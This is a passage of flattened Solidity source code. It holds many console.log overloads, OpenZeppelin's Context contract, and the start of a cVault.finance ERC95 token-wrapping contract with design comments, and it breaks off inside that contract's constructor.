_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: tmp_contracts/v612/ERC95.sol // COPYRIGHT cVault.finance TEAM // NO COPY // COPY = BAD // This code is provided with no assurances or guarantees of any kind. Use at your own responsibility. pragma experimental ABIEncoderV2; // # ERC95 technical documentation // tl;dr - ERC95 is a wrap for one or more underlying tokens. // It can be eg. cYFI or 25% cYFI 10% AMPL 50% X // This balances are unchangeable. // Name of this token should be standardised // cX for X coin // For partial coins eg. // 25cX+25cY+50cZ // Tokens should be able to be multiwrappable, into any derivatives. // special carveout for LP tokens naming should be // 50lpX+25lpY+25lpZ // special carveout for leveraged multiplier tokens // x25Y+x50Z // All prefixes are lowercase : // c for CORE wrap // x for times ( leverage ) - not clear how this would work right now but its on the goal list // lp for Liquidity pool token. // Short term goal for ERC95 is to start few LGEs and lock liquidity in pairs with them // Long term goal is to pay out everyones fees and let anyone create a pair with CORE with any wrap or derivative they want. And pay out fees on that pair to them, in a permisionless way // That benefits CORE/LP holders by a part of the fees from those and all other pairs. // This will be ensured in CoreVault but I outlined it here so the goal of this is clear. // ## Token wrap token // A token wrapping standard. // Recieves token, issues cToken // eg. YFI -> cYFI // Unwrapping and wrapping should be fee-less and permissionless the same principles as WETH. // Note : This might need to be 20 decimals. Because of change of holding multiple tokens under one. // I'm not sure about support for this everywhere. - will it break websites? contract ERC95 is Context, IERC20 { // XXXXX Ownable is new using SafeMath for uint256; using SafeMath for uint8; /// XXXXX ERC95 Specific functions // Events event Wrapped(address indexed from, address indexed to, uint256 amount); event Unwrapped(address indexed from, address indexed to, uint256 amount); uint8 immutable public _numTokensWrapped; WrappedToken[] public _wrappedTokens; // Structs struct WrappedToken { address _address; uint256 _reserve; uint256 _amountWrapperPerUnit; } function _setName(string memory name) internal { _name = name; } constructor(string memory name, string memory symbol, address[] memory _addresses, uint8[] memory _percent, uint8[] memory tokenDecimals) public { // We check if numbers are supplied 1:1 // And get the total number of them. require(_addresses.length == _percent.length, "ERC95 : Mismatch num tokens"); 